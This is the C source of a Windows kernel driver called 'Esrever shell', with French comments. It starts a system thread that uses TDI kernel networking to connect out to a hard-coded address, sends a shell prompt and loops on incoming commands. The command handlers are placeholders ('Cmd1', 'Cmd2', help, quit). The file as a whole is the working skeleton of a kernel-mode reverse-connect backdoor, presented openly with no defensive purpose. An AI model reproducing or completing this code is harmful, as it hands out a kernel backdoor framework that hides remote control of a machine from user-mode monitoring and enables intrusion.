#include <wdm.h>
#include <TdiKrnl.h>
#include <stdlib.h>

#define LEVEL 2
#define PRINTF if(LEVEL == 2)DbgPrint
#define APRINTF if(LEVEL == 1 || LEVEL == 2)DbgPrint

#define INETADDR(a,b,c,d) (a | b<<8 | c<<16 | d<<24)
#define HTONS(a) ( ((unsigned short int)a>>8) | (((unsigned short int)a<<8) & 0xFF00) )
#define TCP_DEVICE_U L"\\Device\\Tcp"
#define HELP "Esrever codé par 0vercl0k.\r\n\r\n"

//Déclarations des fonctions.

NTSTATUS unload(PDRIVER_OBJECT pDrivObj);
HANDLE   createTransportObject();
HANDLE   createConnectionObject();
NTSTATUS associateTransportAndConnectionObject(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj , HANDLE hTransportObj);

NTSTATUS connectToRemoteServer(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj , char* ip , int port);
NTSTATUS sendData(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj , PUCHAR pBuffer , int size);
int      recvData(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj , PUCHAR pBuffer , int size);
NTSTATUS parseIp(char* sIp , int* ip);

NTSTATUS disconnect(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj);
NTSTATUS disassociateHandles(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj);

VOID     doTheStuff();
int      dispatchCmd(PUCHAR buf , PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj);


//Définitions des fonctions.

//Point d'entré.
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj , PUNICODE_STRING pRegistryPath)
{
    HANDLE thread;
    NTSTATUS status;
    OBJECT_ATTRIBUTES obj;

    DbgPrint("Driver Entry - Esrever llehs par 0vercl0k :).\n");
    pDriverObj->DriverUnload = unload;

    InitializeObjectAttributes(&obj, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
    if((status = PsCreateSystemThread(&thread , THREAD_ALL_ACCESS , &obj , NULL , NULL , (PKSTART_ROUTINE)doTheStuff , NULL)) != STATUS_SUCCESS)
    {
        APRINTF("PsCreateSystemThread!DriverEntry() sux : 0x%x.\n" , status);
        return STATUS_SUCCESS;
    }

    ZwClose(&thread);
    return STATUS_SUCCESS;
}


NTSTATUS unload(PDRIVER_OBJECT pDrivObj)
{
    DbgPrint("TDI interface unloaded.\n");
    return STATUS_SUCCESS;
}

HANDLE   createConnectionObject()
{
    UNICODE_STRING uName;
    OBJECT_ATTRIBUTES objAttribTdi;
    HANDLE hConnectionObj;
    IO_STATUS_BLOCK ioStatus;
    NTSTATUS status;
    PFILE_FULL_EA_INFORMATION pFileEa;
    PTA_IP_ADDRESS pTaIp;
    CONNECTION_CONTEXT* pConnectionC;
    int sizeStruct;

 /* 2° =========================================================================================== */

    RtlInitUnicodeString(&uName , TCP_DEVICE_U);
    InitializeObjectAttributes(&objAttribTdi , &uName , OBJ_KERNEL_HANDLE , NULL , NULL);

    sizeStruct = sizeof(FILE_FULL_EA_INFORMATION) + TDI_CONNECTION_CONTEXT_LENGTH + 1 + sizeof(CONNECTION_CONTEXT);
    pFileEa = ExAllocatePoolWithTag(NonPagedPool , sizeStruct , 't4pz');
    if(pFileEa == NULL)
    {
        PRINTF("[!] ExAllocatePoolWithTag!createConnectionObject() sux.\n");
        return NULL;
    }

    memset(pFileEa , 0 , sizeStruct);

    pFileEa->EaValueLength = sizeof(CONNECTION_CONTEXT);
    pFileEa->NextEntryOffset = 0;
    pFileEa->Flags = 0;
    pFileEa->EaNameLength = TDI_CONNECTION_CONTEXT_LENGTH;                          //#define TDI_CONNECTION_CONTEXT_LENGTH (sizeof (TdiConnectionContext) - 1)
    memcpy(pFileEa->EaName , TdiConnectionContext , TDI_CONNECTION_CONTEXT_LENGTH); //#define TdiConnectionContext "ConnectionContext"

    pConnectionC  = (CONNECTION_CONTEXT*)(pFileEa->EaName + pFileEa->EaNameLength + 1);
    memset(pConnectionC , 0 , sizeof(CONNECTION_CONTEXT));                          //The connection context is a user-supplied pointer. It can point to anything.
                                                                                    //This is typically used by driver developers to track the state associated with the connection.
                                                                                    //CONNECTION_CONTEXT is a pointer to a user-supplied structure. You can put whatever you want in your context structure.

    status = ZwCreateFile(&hConnectionObj , GENERIC_READ|GENERIC_WRITE ,
                          &objAttribTdi , &ioStatus ,
                          0 , FILE_ATTRIBUTE_NORMAL ,
                          FILE_SHARE_READ , FILE_OPEN , 0 ,
                          pFileEa , sizeStruct);

    ExFreePoolWithTag(pFileEa , 't4pz');

    if(status != STATUS_SUCCESS)
    {
        PRINTF("[!] ZwCreateFile!createConnectionObject() sux : 0x%x.\n" , status);
        goto clean;
    }

    PRINTF("Connection object créé.\n");
    goto end;

    clean:
    ZwClose(hConnectionObj);
    return NULL;

    end:
    return hConnectionObj;
}

HANDLE   createTransportObject()
{
    UNICODE_STRING uName;
    OBJECT_ATTRIBUTES objAttribTdi;
    HANDLE hTransportObj; //Handle local à notre driver
    IO_STATUS_BLOCK ioStatus;
    NTSTATUS status;
    PFILE_FULL_EA_INFORMATION pFileEa;
    PTA_IP_ADDRESS pTaIp;
    int sizeStruct;

/* 1° =========================================================================================== */

    //Initialisation des structures pour forger notre structure d'adresse.
    RtlInitUnicodeString(&uName , TCP_DEVICE_U);
    InitializeObjectAttributes(&objAttribTdi , &uName , OBJ_KERNEL_HANDLE , NULL , NULL);


    //Préparons la struction Extended Attributes (qui sera passé à ZwCreateFile).
    sizeStruct = sizeof(FILE_FULL_EA_INFORMATION) + TDI_TRANSPORT_ADDRESS_LENGTH + 1 + sizeof(TA_IP_ADDRESS);
    pFileEa = ExAllocatePoolWithTag(NonPagedPool , sizeStruct , 't4pz');
    if(pFileEa == NULL)
    {
        PRINTF("[!] ExAllocatePoolWithTag!createTransportObject() sux .\n");
        return NULL;
    }

    memset(pFileEa , 0 , sizeStruct);

    pFileEa->EaValueLength = sizeof(TA_IP_ADDRESS);
    pFileEa->NextEntryOffset = 0;
    pFileEa->Flags = 0;
    pFileEa->EaNameLength = TDI_TRANSPORT_ADDRESS_LENGTH;                         //#define TDI_TRANSPORT_ADDRESS_LENGTH      (sizeof(TdiTransportAddress) - 1)
    memcpy(pFileEa->EaName , TdiTransportAddress , TDI_TRANSPORT_ADDRESS_LENGTH); //#define TdiTransportAddress               "TransportAddress"

    /*
        typedef struct _TDI_ADDRESS_IP {
        USHORT  sin_port;
        ULONG  in_addr;
        UCHAR  sin_zero[8];
        } TDI_ADDRESS_IP, *PTDI_ADDRESS_IP;

        typedef struct _TA_ADDRESS_IP {
        LONG  TAAddressCount;
        struct  _AddrIp {
                USHORT          AddressLength;
                USHORT          AddressType;
                TDI_ADDRESS_IP  Address[1];
            } Address [1];
        } TA_IP_ADDRESS, *PTA_IP_ADDRESS;
    */

    pTaIp = (PTA_IP_ADDRESS)(pFileEa->EaName + pFileEa->EaNameLength + 1);

    pTaIp->TAAddressCount = 1;
    pTaIp->Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP;                      //#define TDI_ADDRESS_LENGTH_IP             sizeof(TDI_ADDRESS_IP)
    pTaIp->Address[0].AddressType = TDI_ADDRESS_TYPE_IP;                          //#define TDI_ADDRESS_TYPE_IP                 2
    pTaIp->Address[0].Address[0].in_addr = 0;                                     //We also set the source address to 0.0.0.0 so that the underlying driver
                                                                                  //will fill in the local host IP address for us
    pTaIp->Address[0].Address[0].sin_port = 0;                                    //In order to get the underlying driver to choose a source port for us,
                                                                                  //we supply a desired source port of zero
    RtlZeroMemory(&pTaIp->Address[0].Address[0].sin_zero , sizeof(pTaIp->Address[0].Address[0].sin_zero));

    //Envoyons une requête au device tcp pour qu'il nous forge notre structure d'adresse.
    status = ZwCreateFile(&hTransportObj , GENERIC_WRITE|GENERIC_READ ,
                          &objAttribTdi , &ioStatus ,
                          0 , FILE_ATTRIBUTE_NORMAL ,
                          FILE_SHARE_READ , FILE_OPEN , 0 ,
                          pFileEa , sizeStruct);

    ExFreePoolWithTag(pFileEa , 't4pz');

    if(status != STATUS_SUCCESS)
    {
        PRINTF("[!] ZwCreateFile!createTransportObject() : 0x%x.\n" , status);
        ZwClose(hTransportObj);
        return NULL;
    }

    PRINTF("Transport object créé.\n");
    return hTransportObj;
}

NTSTATUS associateTransportAndConnectionObject(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj , HANDLE hTransportObj)
{
    KEVENT event;
    IO_STATUS_BLOCK ioStatus;
    PIRP pIrp;
    NTSTATUS status;

/* 3° =========================================================================================== */

    KeInitializeEvent(&event , NotificationEvent , FALSE); //Evenement qui va nous permettre d'attendre la completion de l'irp


    /*   #define TdiBuildInternalDeviceControlIrp(IrpSubFunction,DeviceObject,FileObject,Event,IoStatusBlock)        \
            IoBuildDeviceIoControlRequest (\
                0x00000003,\
                DeviceObject, \
                NULL,   \
                0,      \
                NULL,   \
                0,      \
                TRUE,   \
                Event,  \
                IoStatusBlock)
    */

    pIrp = TdiBuildInternalDeviceControlIrp(TDI_ASSOCIATE_ADDRESS , pTcpDevice , pConnectionObj , &event , &ioStatus);
    if(pIrp == NULL)
    {
        PRINTF("TdiBuildInternalDeviceControlIrp!associateTransportAndConnectionObject() - sux.\n");
        return STATUS_UNSUCCESSFUL;
    }

    /*
        #define TdiBuildAssociateAddress(Irp, DevObj, FileObj, CompRoutine, Contxt, AddrHandle)                           \
        {                                                                        \
            PTDI_REQUEST_KERNEL_ASSOCIATE p;                                     \
            PIO_STACK_LOCATION _IRPSP;                                           \
            if ( CompRoutine != NULL) {                                          \
                IoSetCompletionRoutine( Irp, CompRoutine, Contxt, TRUE, TRUE, TRUE);\
            } else {                                                             \
                IoSetCompletionRoutine( Irp, NULL, NULL, FALSE, FALSE, FALSE);   \
            }                                                                       \
            _IRPSP = IoGetNextIrpStackLocation (Irp);                            \
            _IRPSP->MajorFunction = IRP_MJ_INTERNAL_DEVICE_CONTROL;              \
            _IRPSP->MinorFunction = TDI_ASSOCIATE_ADDRESS;                       \
            _IRPSP->DeviceObject = DevObj;                                       \
            _IRPSP->FileObject = FileObj;                                        \
            p = (PTDI_REQUEST_KERNEL_ASSOCIATE)&_IRPSP->Parameters;              \
            p->AddressHandle = (HANDLE)(AddrHandle);                             \
        }
    */

    TdiBuildAssociateAddress(pIrp , pTcpDevice , (PFILE_OBJECT)pConnectionObj , NULL , NULL , hTransportObj);

    //L'IRP est complète.

    status = IoCallDriver(pTcpDevice , pIrp);
    if(status == STATUS_PENDING)
    {
        PRINTF("Attendons que le traitement de l'irp soit finit :).\n");
        KeWaitForSingleObject(&event , Executive , KernelMode , FALSE , 0);
    }

    if(ioStatus.Status != STATUS_SUCCESS)
    {
        PRINTF("[!] IoCallDriver sux!associateTransportAndConnectionObject() : 0x%x.\n" , ioStatus.Status);
        return STATUS_UNSUCCESSFUL;
    }

    PRINTF("Le transport object et le connection object sont liés.\n");
    return STATUS_SUCCESS;
}

NTSTATUS connectToRemoteServer(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj , char* ip , int port)
{
    KEVENT event;
    IO_STATUS_BLOCK ioStatus;
    PIRP pIrp;
    TA_IP_ADDRESS ipAddr;
    TDI_CONNECTION_INFORMATION connectInfo;
    int nIp[4];
    NTSTATUS status;

    if(parseIp(ip , nIp) != STATUS_SUCCESS)
        return STATUS_UNSUCCESSFUL;

    KeInitializeEvent(&event , NotificationEvent , FALSE);
    pIrp = TdiBuildInternalDeviceControlIrp(TDI_CONNECT , pTcpDevice , pConnectionObj , &event , &ioStatus);

    if(pIrp == NULL)
    {
        PRINTF("[!] TdiBuildInternalDeviceControlIrp!connectToRemoteServer() sux .\n");
        return STATUS_UNSUCCESSFUL;
    }

    ipAddr.TAAddressCount = 1;
    ipAddr.Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP;
    ipAddr.Address[0].AddressType = TDI_ADDRESS_TYPE_IP;
    ipAddr.Address[0].Address[0].sin_port = HTONS(port);
    ipAddr.Address[0].Address[0].in_addr = INETADDR(nIp[0],nIp[1],nIp[2],nIp[3]);

    connectInfo.UserDataLength = 0;
    connectInfo.UserData = 0;
    connectInfo.OptionsLength = 0;
    connectInfo.Options = 0;
    connectInfo.RemoteAddressLength = sizeof(ipAddr);
    connectInfo.RemoteAddress = &ipAddr;

    /*
        #define TdiBuildConnect(Irp, DevObj, FileObj, CompRoutine, Contxt, Time, RequestConnectionInfo, ReturnConnectionInfo)\
        {                                                                        \
            PTDI_REQUEST_KERNEL p;                                               \
            PIO_STACK_LOCATION _IRPSP;                                           \
            if ( CompRoutine != NULL) {                                          \
                IoSetCompletionRoutine( Irp, CompRoutine, Contxt, TRUE, TRUE, TRUE);\
            } else {                                                             \
                IoSetCompletionRoutine( Irp, NULL, NULL, FALSE, FALSE, FALSE);   \
            }                                                                    \
            _IRPSP = IoGetNextIrpStackLocation (Irp);                            \
            _IRPSP->MajorFunction = IRP_MJ_INTERNAL_DEVICE_CONTROL;              \
            _IRPSP->MinorFunction = TDI_CONNECT;                                 \
            _IRPSP->DeviceObject = DevObj;                                       \
            _IRPSP->FileObject = FileObj;                                        \
            p = (PTDI_REQUEST_KERNEL)&_IRPSP->Parameters;                        \
            p->RequestConnectionInformation = RequestConnectionInfo;             \
            p->ReturnConnectionInformation = ReturnConnectionInfo;               \
            p->RequestSpecific = (PVOID)Time;                                    \
        }
    */

    TdiBuildConnect(pIrp , pTcpDevice , (PFILE_OBJECT)pConnectionObj , NULL , NULL , NULL , &connectInfo , NULL);
    //Irp prête.

    status = IoCallDriver(pTcpDevice , pIrp);
    if(status == STATUS_PENDING)
    {
        PRINTF("Attendons que le traitement de l'irp soit finit :).\n");
        KeWaitForSingleObject(&event , Executive , KernelMode , FALSE , 0);
    }

    if(ioStatus.Status != STATUS_SUCCESS)
    {
        PRINTF("[!] IoCallDriver!connectToRemoteServer() sux : 0x%x.\n" , ioStatus.Status);
        return STATUS_UNSUCCESSFUL;
    }

    PRINTF("Connection effectuée à %d.%d.%d.%d.\n" , nIp[0] , nIp[1] , nIp[2] , nIp[3]);
    return STATUS_SUCCESS;
}

NTSTATUS sendData(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj , PUCHAR pBuffer , int size)
{
    KEVENT event;
    NTSTATUS status;
    IO_STATUS_BLOCK ioStatus;
    PIRP pIrp;
    PMDL pMdl;

    KeInitializeEvent(&event , NotificationEvent , FALSE);

    pIrp = TdiBuildInternalDeviceControlIrp(TDI_SEND , pTcpDevice , pConnectionObj , &event , &ioStatus);
    if(pIrp == NULL)
    {
        PRINTF("TdiBuildInternalDeviceControlIrp!sendData() sux.\n");
        return STATUS_UNSUCCESSFUL;
    }

    pMdl = IoAllocateMdl(pBuffer , size , FALSE , FALSE , NULL);
    if(pMdl == NULL)
    {
        PRINTF("IoAllocateMdl!sendData() sux.\n");
        return STATUS_UNSUCCESSFUL;
    }

    //Calls to MmProbeAndLockPages must be enclosed in a try/except block.
    //If the pages do not support the specified operation, the routine raises the STATUS_ACCESS_VIOLATION or other exceptions
    __try
    {
        MmProbeAndLockPages(pMdl , KernelMode , IoModifyAccess);
    }__except(EXCEPTION_EXECUTE_HANDLER)
    {
        PRINTF("MmProbeAndLockPages!sendData() sux.\n");
        return STATUS_UNSUCCESSFUL;
    }

    TdiBuildSend(pIrp , pTcpDevice , (PFILE_OBJECT)pConnectionObj , NULL , NULL , pMdl , 0 , size);

    status = IoCallDriver(pTcpDevice , pIrp);
    if(status == STATUS_PENDING)
    {
        PRINTF("Attendons que l'envoit se termine :).\n");
        KeWaitForSingleObject(&event , Executive , KernelMode , FALSE , 0);
    }

    if(ioStatus.Status != STATUS_SUCCESS)
    {
        PRINTF("[!] IoCallDriver!sendData() sux : 0x%x.\n" , ioStatus.Status);
        return STATUS_UNSUCCESSFUL;
    }

    if(ioStatus.Information == 0)
    {
        PRINTF("[!] Aucune donnée n'a été envoyée.\n");
        return STATUS_UNSUCCESSFUL;
    }

    PRINTF("Envois de %d octets effectué.\n" , ioStatus.Information);
    return STATUS_SUCCESS;
}

NTSTATUS parseIp(char* sIp , int* ip)
{
    char *pIp = sIp , *p[4] , *tmp;
    int i;

    for(i = 0 ; i < 4 ; i++)
    {
        if(i == 3)
            tmp = sIp+strlen(sIp);
        else
            tmp = strstr(pIp,".");
        if(tmp == NULL)
            return STATUS_UNSUCCESSFUL;

        p[i] = ExAllocatePoolWithTag(NonPagedPool , sizeof(char)*(tmp-pIp)+1 , 't4pz');
        if(p[i] == NULL)
            return STATUS_UNSUCCESSFUL;

        memset(p[i],0,tmp-pIp+1);
        memcpy(p[i],pIp,tmp-pIp);

        ip[i] = atoi(p[i]);
        ExFreePoolWithTag(p[i] , 't4pz');

        pIp +=(tmp-pIp)+1;
    }
    return STATUS_SUCCESS;
}

int      recvData(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj , PUCHAR pBuffer , int size)
{
    KEVENT event;
    IO_STATUS_BLOCK ioStatus;
    NTSTATUS status;
    PIRP pIrp;
    PMDL pMdl;

    KeInitializeEvent(&event , NotificationEvent , FALSE);
    pMdl = IoAllocateMdl(pBuffer , size , FALSE , FALSE , NULL);
    if(pMdl == NULL)
    {
        PRINTF("IoAllocateMdl!recvData() sux.\n");
        return -1;
    }

    __try
    {
        MmProbeAndLockPages(pMdl , KernelMode , IoModifyAccess);
    }__except(EXCEPTION_EXECUTE_HANDLER)
    {
        PRINTF("MmProbeAndLockPages!recvData() sux.\n");
        return -1;
    }

    pIrp = TdiBuildInternalDeviceControlIrp(TDI_RECEIVE , pTcpDevice , pConnectionObj , &event , &ioStatus);
    if(pIrp == NULL)
    {
        PRINTF("[!] TdiBuildInternalDeviceControlIrp!recvData() sux.\n");
        return -1;
    }

    TdiBuildReceive(pIrp , pTcpDevice , (PFILE_OBJECT)pConnectionObj , NULL , NULL , pMdl , TDI_RECEIVE_NORMAL , size);

    status = IoCallDriver(pTcpDevice , pIrp);

    if(status == STATUS_PENDING)
    {
        PRINTF("Attendons que la reception se termine :).\n");
        KeWaitForSingleObject(&event , Executive , KernelMode , FALSE , 0);
    }

    if(ioStatus.Status != STATUS_SUCCESS)
    {
        PRINTF("[!] IoCallDriver!recvData() sux : 0x%x.\n" , ioStatus.Status);
        return -1;
    }

    if(ioStatus.Information == 0)
    {
        PRINTF("[!] Aucune donnée n'a été reçus.\n");
        return -1;
    }

    PRINTF("Reception de %d octets effectué.\n" , ioStatus.Information);
    return ioStatus.Information;
}

NTSTATUS disconnect(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj)
{
    KEVENT event;
    IO_STATUS_BLOCK ioStatus;
    PIRP pIrp;
    NTSTATUS status;

    KeInitializeEvent(&event , NotificationEvent , FALSE);
    pIrp = TdiBuildInternalDeviceControlIrp(TDI_DISCONNECT , pTcpDevice , pConnectionObj , &event , &ioStatus);

    if(pIrp == NULL)
    {
        PRINTF("[!] TdiBuildInternalDeviceControlIrp!disconnect() sux .\n");
        return STATUS_UNSUCCESSFUL;
    }

    TdiBuildDisconnect(pIrp , pTcpDevice , (PFILE_OBJECT)pConnectionObj , NULL , NULL , NULL , TDI_DISCONNECT_RELEASE , NULL , NULL);

    status = IoCallDriver(pTcpDevice , pIrp);
    if(status == STATUS_PENDING)
    {
        PRINTF("Attendons que le traitement de l'irp soit finit :).\n");
        KeWaitForSingleObject(&event , Executive , KernelMode , FALSE , 0);
    }

    if(ioStatus.Status != STATUS_SUCCESS)
    {
        PRINTF("[!] IoCallDriver!disconnect() sux : 0x%x.\n" , ioStatus.Status);
        return STATUS_UNSUCCESSFUL;
    }

    PRINTF("Déconnection effectuée.\n");
    return STATUS_SUCCESS;
}

NTSTATUS disassociateHandles(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj)
{
    KEVENT event;
    IO_STATUS_BLOCK ioStatus;
    PIRP pIrp;
    NTSTATUS status;

    KeInitializeEvent(&event , NotificationEvent , FALSE);
    pIrp = TdiBuildInternalDeviceControlIrp(TDI_DISASSOCIATE_ADDRESS , pTcpDevice , pConnectionObj , &event , &ioStatus);

    if(pIrp == NULL)
    {
        PRINTF("[!] TdiBuildInternalDeviceControlIrp!disassociateHandles() sux .\n");
        return STATUS_UNSUCCESSFUL;
    }

    TdiBuildDisassociateAddress(pIrp , pTcpDevice , (PFILE_OBJECT)pConnectionObj , NULL , NULL);

    status = IoCallDriver(pTcpDevice , pIrp);
    if(status == STATUS_PENDING)
    {
        PRINTF("Attendons que le traitement de l'irp soit finit :).\n");
        KeWaitForSingleObject(&event , Executive , KernelMode , FALSE , 0);
    }

    if(ioStatus.Status != STATUS_SUCCESS)
    {
        PRINTF("[!] IoCallDriver!disassociateHandles() sux : 0x%x.\n" , ioStatus.Status);
        return STATUS_UNSUCCESSFUL;
    }

    PRINTF("Les handles ont été désassociés.\n");
    return STATUS_SUCCESS;
}

VOID     doTheStuff()
{
    HANDLE hTransportObject , hConnectionObject;
    PUCHAR pTransportObject , pConnectionObject;
    PFILE_OBJECT pFileTmp;
    PDEVICE_OBJECT pTcpDevice;
    NTSTATUS status;
    UNICODE_STRING uName;
    char *pBufSend = "[Esrever!shell] : " , *pBufRecv;

//\\//\\//\\//\\//\\//\\//\\////\\//\\//\\//\\//\\//\\//\\//

    hConnectionObject = NULL;
    hTransportObject  = NULL;

    pConnectionObject = NULL;
    pTransportObject  = NULL;

    hTransportObject  = createTransportObject();
    hConnectionObject = createConnectionObject();

    if(hConnectionObject == NULL || hTransportObject == NULL)
    {
        APRINTF("[!] hConnectionObject || hTransportObject sux.\n");
        goto end;
    }

//\\//\\//\\//\\//\\//\\//\\////\\//\\//\\//\\//\\//\\//\\//

    status = ObReferenceObjectByHandle(hConnectionObject , GENERIC_ALL , NULL , KernelMode , &pConnectionObject , NULL);
    if(status != STATUS_SUCCESS)
    {
        APRINTF("[!] ObReferenceObjectByHandle!doTheStuff() sux : 0x%x.\n" , status);
        goto end;
    }

    status = ObReferenceObjectByHandle(hTransportObject , GENERIC_ALL , NULL , KernelMode , &pTransportObject , NULL);
    if(status != STATUS_SUCCESS)
    {
        APRINTF("[!] ObReferenceObjectByHandle2!doTheStuff() sux : 0x%x.\n" , status);
        goto end;
    }

//\\//\\//\\//\\//\\//\\//\\////\\//\\//\\//\\//\\//\\//\\//

    RtlInitUnicodeString(&uName , TCP_DEVICE_U);
    status = IoGetDeviceObjectPointer(&uName , FILE_ALL_ACCESS , &pFileTmp , &pTcpDevice);

    if(status != STATUS_SUCCESS)
    {
        APRINTF("[!] IoGetDeviceObjectPointer sux : 0x%x.\n" , status);
        goto end;
    }
    PRINTF("Pointeur sur le device tcp : %x.\n" , pTcpDevice);

    status = associateTransportAndConnectionObject(pTcpDevice , pConnectionObject , hTransportObject);
    if(status != STATUS_SUCCESS)
    {
        APRINTF("[!] associateTransportAndConnectionObject sux.\n");
        goto end;
    }

//\\//\\//\\//\\//\\//\\//\\////\\//\\//\\//\\//\\//\\//\\//

    status = connectToRemoteServer(pTcpDevice , pConnectionObject , "127.0.0.1" , 80);
    if(status != STATUS_SUCCESS)
    {
        APRINTF("[!] connectToRemoteServer() sux.\n");
        goto end;
    }


//\\//\\//\\//\\//\\//\\//\\////\\//\\//\\//\\//\\//\\//\\//

    if(strlen(pBufSend) < 6)
        APRINTF("Tentative d'envois de '%s'..\n" , pBufSend);

    status = sendData(pTcpDevice , pConnectionObject , pBufSend , strlen(pBufSend));

    if(status != STATUS_SUCCESS)
    {
        APRINTF("[!] sendData!doTheStuff() sux.\n");
        goto end;
    }

//\\//\\//\\//\\//\\//\\//\\////\\//\\//\\//\\//\\//\\//\\//

    APRINTF("Reception..\n");
    pBufRecv = ExAllocatePoolWithTag(NonPagedPool , 800 , 't4pz');
    if(pBufRecv == NULL)
    {
        APRINTF("[!] ExAllocatePoolWithTag!doTheStuff() sux.\n");
        goto end;
    }
    memset(pBufRecv , 0 , 800);

    while((status = recvData(pTcpDevice , pConnectionObject , pBufRecv , 800)) != -1)
    {
        APRINTF("Buffer reçus : %s" , pBufRecv);
        if(dispatchCmd(pBufRecv , pTcpDevice , pConnectionObject) == 'q')
            break;

        sendData(pTcpDevice , pConnectionObject , pBufSend , strlen(pBufSend));
        memset(pBufRecv , 0 , 800);
    }

    end:
    status = disconnect(pTcpDevice , pConnectionObject);
    if(status != STATUS_SUCCESS)
        APRINTF("[!] disconnect!doTheStuff() sux.\n");

    status = disassociateHandles(pTcpDevice , pConnectionObject);
    if(status != STATUS_SUCCESS)
        APRINTF("[!] disassociateHandles!doTheStuff() sux.\n");

    PsTerminateSystemThread(0);
}

int     dispatchCmd(PUCHAR pBuf , PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj)
{
    if(!strncmp("quit" , pBuf , 4) || !strncmp("Quit" , pBuf , 4))
        return 'q';

    if(!strncmp("Cmd1" , pBuf , 4))
    {
        DbgPrint("Cmd1 called.\n");
        sendData(pTcpDevice , pConnectionObj , "[+] Cmd1 ok.\r\n\r\n" , strlen("[+] Cmd1 ok.\r\n\r\n"));
    }
    if(!strncmp("Cmd2" , pBuf , 4))
    {
        DbgPrint("Cmd2 called.\n");
        sendData(pTcpDevice , pConnectionObj , "[+] Cmd2 ok.\r\n\r\n" , strlen("[+] Cmd2 ok.\r\n\r\n"));
    }

    if(!strncmp("help" , pBuf , 4) || !strncmp("Help" , pBuf , 4))
        sendData(pTcpDevice , pConnectionObj , HELP , strlen(HELP));
    return 1;
}